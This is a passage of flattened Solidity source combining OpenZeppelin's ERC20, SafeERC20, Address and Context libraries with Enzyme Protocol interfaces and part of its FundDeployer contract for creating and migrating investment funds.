https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IDispatcher Interface /// @author Enzyme Council <[email protected]> interface IDispatcher { function cancelMigration(address _vaultProxy, bool _bypassFailure) external; function claimOwnership() external; function deployVaultProxy( address _vaultLib, address _owner, address _vaultAccessor, string calldata _fundName ) external returns (address vaultProxy_); function executeMigration(address _vaultProxy, bool _bypassFailure) external; function getCurrentFundDeployer() external view returns (address currentFundDeployer_); function getFundDeployerForVaultProxy(address _vaultProxy) external view returns (address fundDeployer_); function getMigrationRequestDetailsForVaultProxy(address _vaultProxy) external view returns ( address nextFundDeployer_, address nextVaultAccessor_, address nextVaultLib_, uint256 executableTimestamp_ ); function getMigrationTimelock() external view returns (uint256 migrationTimelock_); function getNominatedOwner() external view returns (address nominatedOwner_); function getOwner() external view returns (address owner_); function getSharesTokenSymbol() external view returns (string memory sharesTokenSymbol_); function getTimelockRemainingForMigrationRequest(address _vaultProxy) external view returns (uint256 secondsRemaining_); function hasExecutableMigrationRequest(address _vaultProxy) external view returns (bool hasExecutableRequest_); function hasMigrationRequest(address _vaultProxy) external view returns (bool hasMigrationRequest_); function removeNominatedOwner() external; function setCurrentFundDeployer(address _nextFundDeployer) external; function setMigrationTimelock(uint256 _nextTimelock) external; function setNominatedOwner(address _nextNominatedOwner) external; function setSharesTokenSymbol(string calldata _nextSymbol) external; function signalMigration( address _vaultProxy, address _nextVaultAccessor, address _nextVaultLib, bool _bypassFailure ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IMigrationHookHandler Interface /// @author Enzyme Council <[email protected]> interface IMigrationHookHandler { enum MigrationOutHook {PreSignal, PostSignal, PreMigrate, PostMigrate, PostCancel} function invokeMigrationInCancelHook( address _vaultProxy, address _prevFundDeployer, address _nextVaultAccessor, address _nextVaultLib ) external; function invokeMigrationOutHook( MigrationOutHook _hook, address _vaultProxy, address _nextFundDeployer, address _nextVaultAccessor, address _nextVaultLib ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IExternalPosition Contract /// @author Enzyme Council <[email protected]> interface IExternalPosition { function getDebtAssets() external returns (address[] memory, uint256[] memory); function getManagedAssets() external returns (address[] memory, uint256[] memory); function init(bytes memory) external; function receiveCallFromVault(bytes memory) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IExternalPositionVault interface /// @author Enzyme Council <[email protected]> /// Provides an interface to get the externalPositionLib for a given type from the Vault interface IExternalPositionVault { function getExternalPositionLibForType(uint256) external view returns (address); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IFreelyTransferableSharesVault Interface /// @author Enzyme Council <[email protected]> /// @notice Provides the interface for determining whether a vault's shares /// are guaranteed to be freely transferable. /// @dev DO NOT EDIT CONTRACT interface IFreelyTransferableSharesVault { function sharesAreFreelyTransferable() external view returns (bool sharesAreFreelyTransferable_); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IMigratableVault Interface /// @author Enzyme Council <[email protected]> /// @dev DO NOT EDIT CONTRACT interface IMigratableVault { function canMigrate(address _who) external view returns (bool canMigrate_); function init( address _owner, address _accessor, string calldata _fundName ) external; function setAccessor(address _nextAccessor) external; function setVaultLib(address _nextVaultLib) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "../../../persistent/dispatcher/IDispatcher.sol"; import "../../../persistent/dispatcher/IMigrationHookHandler.sol"; import "../../extensions/IExtension.sol"; import "../../infrastructure/gas-relayer/GasRelayRecipientMixin.sol"; import "../../infrastructure/protocol-fees/IProtocolFeeTracker.sol"; import "../fund/comptroller/ComptrollerProxy.sol"; import "../fund/comptroller/IComptroller.sol"; import "../fund/vault/IVault.sol"; import "./IFundDeployer.sol"; /// @title FundDeployer Contract /// @author Enzyme Council <[email protected]> /// @notice The top-level contract of the release. /// It primarily coordinates fund deployment and fund migration, but /// it is also deferred to for contract access control and for allowed calls /// that can be made with a fund's VaultProxy as the msg.sender. contract FundDeployer is IFundDeployer, IMigrationHookHandler, GasRelayRecipientMixin { event BuySharesOnBehalfCallerDeregistered(address caller); event BuySharesOnBehalfCallerRegistered(address caller); event ComptrollerLibSet(address comptrollerLib); event ComptrollerProxyDeployed( address indexed creator, address comptrollerProxy, address indexed denominationAsset, uint256 sharesActionTimelock ); event GasLimitsForDestructCallSet( uint256 nextDeactivateFeeManagerGasLimit, uint256 nextPayProtocolFeeGasLimit ); event MigrationRequestCreated( address indexed creator, address indexed vaultProxy, address comptrollerProxy ); event NewFundCreated(address indexed creator, address vaultProxy, address comptrollerProxy); event ProtocolFeeTrackerSet(address protocolFeeTracker); event ReconfigurationRequestCancelled( address indexed vaultProxy, address indexed nextComptrollerProxy ); event ReconfigurationRequestCreated( address indexed creator, address indexed vaultProxy, address comptrollerProxy, uint256 executableTimestamp ); event ReconfigurationRequestExecuted( address indexed vaultProxy, address indexed prevComptrollerProxy, address indexed nextComptrollerProxy ); event ReconfigurationTimelockSet(uint256 nextTimelock); event ReleaseIsLive(); event VaultCallDeregistered( address indexed contractAddress, bytes4 selector, bytes32 dataHash ); event VaultCallRegistered(address indexed contractAddress, bytes4 selector, bytes32 dataHash); event VaultLibSet(address vaultLib); struct ReconfigurationRequest { address nextComptrollerProxy; uint256 executableTimestamp; } // Constants // keccak256(abi.encodePacked("mln.vaultCall.any") bytes32 private constant ANY_VAULT_CALL = 0x5bf1898dd28c4d29f33c4c1bb9b8a7e2f6322847d70be63e8f89de024d08a669; address private immutable CREATOR; address private immutable DISPATCHER; // Pseudo-constants (can only be set once) address private comptrollerLib; address private protocolFeeTracker; address private vaultLib; // Storage uint32 private gasLimitForDestructCallToDeactivateFeeManager; // Can reduce to uint16 uint32 private gasLimitForDestructCallToPayProtocolFee; // Can reduce to uint16 bool private isLive; uint256 private reconfigurationTimelock; mapping(address => bool) private acctToIsAllowedBuySharesOnBehalfCaller; mapping(bytes32 => mapping(bytes32 => bool)) private vaultCallToPayloadToIsAllowed; mapping(address => ReconfigurationRequest) private vaultProxyToReconfigurationRequest; modifier onlyDispatcher() { require(msg.sender == DISPATCHER, "Only Dispatcher can call this function"); _; } modifier onlyLiveRelease() { require(releaseIsLive(), "Release is not yet live"); _; } modifier onlyMigrator(address _vaultProxy) { __assertIsMigrator(_vaultProxy, __msgSender()); _; } modifier onlyMigratorNotRelayable(address _vaultProxy) { __assertIsMigrator(_vaultProxy, msg.sender); _; } modifier onlyOwner() { require(msg.sender == getOwner(), "Only the contract owner can call this function"); _; } modifier pseudoConstant(address _storageValue) { require(_storageValue == address(0), "This value can only be set once"); _; } function __assertIsMigrator(address _vaultProxy, address _who) private view { require( IVault(_vaultProxy).canMigrate(_who), "Only a permissioned migrator can call this function" ); } constructor(address _dispatcher, address _gasRelayPaymasterFactory) public GasRelayRecipientMixin(_gasRelayPaymasterFactory) { // Validate constants require( ANY_VAULT_CALL == keccak256(abi.encodePacked("mln.vaultCall.any")), "constructor: Incorrect ANY_VAULT_CALL" ); CREATOR = msg.sender; DISPATCHER = _dispatcher; // Estimated base call cost: 17k // Per fee that uses shares outstanding (default recipient): 33k // 300k accommodates up to 8 such fees gasLimitForDestructCallToDeactivateFeeManager = 300000; // Estimated cost: 50k gasLimitForDestructCallToPayProtocolFee = 200000; reconfigurationTimelock = 2 days; } ////////////////////////////////////// // PSEUDO-CONSTANTS (only set once) // ////////////////////////////////////// /// @notice Sets the ComptrollerLib /// @param _comptrollerLib The ComptrollerLib contract address function setComptrollerLib(address _comptrollerLib) external onlyOwner pseudoConstant(getComptrollerLib()) { comptrollerLib = _comptrollerLib; emit ComptrollerLibSet(_comptrollerLib); } /// @notice Sets the ProtocolFeeTracker /// @param _protocolFeeTracker The ProtocolFeeTracker contract address function setProtocolFeeTracker(address _protocolFeeTracker) external onlyOwner pseudoConstant(getProtocolFeeTracker()) { protocolFeeTracker = _protocolFeeTracker; emit ProtocolFeeTrackerSet(_protocolFeeTracker); } /// @notice Sets the VaultLib /// @param _vaultLib The VaultLib contract address function setVaultLib(address _vaultLib) external onlyOwner pseudoConstant(getVaultLib()) { vaultLib = _vaultLib; emit VaultLibSet(_vaultLib); } ///////////// // GENERAL // ///////////// /// @notice Gets the current owner of the contract /// @return owner_ The contract owner address /// @dev The owner is initially the contract's creator, for convenience in setting up configuration. /// Ownership is handed-off when the creator calls setReleaseLive(). function getOwner() public view override returns (address owner_) { if (!releaseIsLive()) { return getCreator(); } return IDispatcher(getDispatcher()).getOwner(); } /// @notice Sets the amounts of gas to forward to each of the ComptrollerLib.destructActivated() external calls /// @param _nextDeactivateFeeManagerGasLimit The amount of gas to forward to deactivate the FeeManager /// @param _nextPayProtocolFeeGasLimit The amount of gas to forward to pay the protocol fee function setGasLimitsForDestructCall( uint32 _nextDeactivateFeeManagerGasLimit, uint32 _nextPayProtocolFeeGasLimit ) external onlyOwner { require( _nextDeactivateFeeManagerGasLimit > 0 && _nextPayProtocolFeeGasLimit > 0, "setGasLimitsForDestructCall: Zero value not allowed" ); gasLimitForDestructCallToDeactivateFeeManager = _nextDeactivateFeeManagerGasLimit; gasLimitForDestructCallToPayProtocolFee = _nextPayProtocolFeeGasLimit; emit GasLimitsForDestructCallSet( _nextDeactivateFeeManagerGasLimit, _nextPayProtocolFeeGasLimit ); } /// @notice Sets the release as live /// @dev A live release allows funds to be created and migrated once this contract /// is set as the Dispatcher.currentFundDeployer function setReleaseLive() external { require( msg.sender == getCreator(), "setReleaseLive: Only the creator can call this function" ); require(!releaseIsLive(), "setReleaseLive: Already live"); // All pseudo-constants should be set require(getComptrollerLib() != address(0), "setReleaseLive: comptrollerLib is not set"); require( getProtocolFeeTracker() != address(0), "setReleaseLive: protocolFeeTracker is not set" ); require(getVaultLib() != address(0), "setReleaseLive: vaultLib is not set"); isLive = true; emit ReleaseIsLive(); } /// @dev Helper to call ComptrollerProxy.destructActivated() with the correct params function __destructActivatedComptrollerProxy(address _comptrollerProxy) private { ( uint256 deactivateFeeManagerGasLimit, uint256 payProtocolFeeGasLimit ) = getGasLimitsForDestructCall(); IComptroller(_comptrollerProxy).destructActivated( deactivateFeeManagerGasLimit, payProtocolFeeGasLimit ); } /////////////////// // FUND CREATION // /////////////////// /// @notice Creates a fully-configured ComptrollerProxy instance for a VaultProxy and signals the migration process /// @param _vaultProxy The VaultProxy to migrate /// @param _denominationAsset The contract address of the denomination asset for the fund /// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions" /// (buying or selling shares) by the same user /// @param _feeManagerConfigData Bytes data for the fees to be enabled for the fund /// @param _policyManagerConfigData Bytes data for the policies to be enabled for the fund /// @param _bypassPrevReleaseFailure True if should override a failure in the previous release while signaling migration /// @return comptrollerProxy_ The address of the ComptrollerProxy deployed during this action function createMigrationRequest( address _vaultProxy, address _denominationAsset, uint256 _sharesActionTimelock, bytes calldata _feeManagerConfigData, bytes calldata _policyManagerConfigData, bool _bypassPrevReleaseFailure ) external onlyLiveRelease onlyMigratorNotRelayable(_vaultProxy) returns (address comptrollerProxy_) { // Bad _vaultProxy value is validated by Dispatcher.signalMigration() require( !IDispatcher(getDispatcher()).hasMigrationRequest(_vaultProxy), "createMigrationRequest: A MigrationRequest already exists" ); comptrollerProxy_ = __deployComptrollerProxy( msg.sender, _denominationAsset, _sharesActionTimelock ); IComptroller(comptrollerProxy_).setVaultProxy(_vaultProxy); __configureExtensions( comptrollerProxy_, _vaultProxy, _feeManagerConfigData, _policyManagerConfigData ); IDispatcher(getDispatcher()).signalMigration( _vaultProxy, comptrollerProxy_, getVaultLib(), _bypassPrevReleaseFailure ); emit MigrationRequestCreated(msg.sender, _vaultProxy, comptrollerProxy_); return comptrollerProxy_; } /// @notice Creates a new fund /// @param _fundOwner The address of the owner for the fund /// @param _fundName The name of the fund's shares token /// @param _fundSymbol The symbol of the fund's shares token /// @param _denominationAsset The contract address of the denomination asset for the fund /// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions" /// (buying or selling shares) by the same user /// @param _feeManagerConfigData Bytes data for the fees to be enabled for the fund /// @param _policyManagerConfigData Bytes data for the policies to be enabled for the fund /// @return comptrollerProxy_ The address of the ComptrollerProxy deployed during this action function createNewFund( address _fundOwner, string calldata _fundName, string calldata _fundSymbol, address _denominationAsset, uint256 _sharesActionTimelock, bytes calldata _feeManagerConfigData, bytes calldata _policyManagerConfigData ) external onlyLiveRelease returns (address comptrollerProxy_, address vaultProxy_) { // _fundOwner is validated by VaultLib.__setOwner() address canonicalSender = __msgSender(); comptrollerProxy_ = __deployComptrollerProxy( canonicalSender, _denominationAsset, _sharesActionTimelock ); vaultProxy_ = __deployVaultProxy(_fundOwner, comptrollerProxy_, _fundName, _fundSymbol); IComptroller comptrollerContract = IComptroller(comptrollerProxy_); 